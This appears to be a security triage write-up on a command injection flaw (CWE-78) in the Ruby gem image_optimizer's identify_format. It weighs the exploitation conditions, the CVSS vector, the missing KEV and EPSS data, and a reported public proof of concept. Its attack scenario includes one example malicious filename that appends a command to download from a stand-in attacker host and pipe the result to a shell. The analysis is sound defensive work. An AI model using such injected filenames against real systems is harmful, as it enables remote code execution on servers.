image_optimizer EUVD-2026-95149

Exploitation requires BOTH: (1) the consuming application must invoke image_optimizer with the 'identify' option enabled so that ImageOptimizer#identify_format runs, and (2) the attacker must control the image path argument - typically via an attacker-chosen uploaded file name - so that appended shell metacharacters (e.g., ';') are passed into Ruby backtick execution in shell.rb. Executed commands run with the Ruby process's privileges. Limiting factors: if the 'identify' option is not enabled (a non-default pathway) or if image paths are server-generated/sanitized rather than user-controlled, the vulnerability is not reachable; impact is bounded by the OS privileges of the Ruby/web worker process.

This is a genuine high-priority issue, not merely a high-CVSS number. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) describes an unauthenticated, network-reachable, low-complexity flaw with full high impact to confidentiality, integrity and availability (VC:H/VI:H/VA:H), consistent with CWE-78 OS command injection that yields arbitrary command execution at the Ruby process's privilege level. A public gist (R3tro16) tied to the CVE indicates proof-of-concept exploit code likely exists, raising practical exploitability. However, several signals are missing or must be qualified: there is NO CISA KEV listing (no confirmed active exploitation), and NO EPSS score was provided, so widespread-exploitation probability cannot be quantified from this data. The CVSS AV:N/PR:N rating is optimistic for a library flaw - real exploitability is gated by two deployment conditions the score does not capture: the application must enable the 'identify' option, and the attacker must control the image path (e.g., an uploaded file name). Where both hold, treat this as critical; where 'identify' is disabled or paths are not attacker-controlled, residual risk is much lower. Net: a credible, likely PoC-backed RCE in a Ruby gem, but exploitation is conditional on application configuration rather than being universally triggerable.

A Rails/Ruby application uses image_optimizer with the 'identify' option enabled and passes a user-influenced path (such as an uploaded file's name) into ImageOptimizer#identify_format. An attacker uploads or supplies a filename containing shell metacharacters (e.g., 'photo.jpg; curl attacker/x | sh'), which Ruby executes via backticks, running arbitrary OS commands with the web process's privileges. A public gist appears to demonstrate this technique, lowering the barrier to weaponization.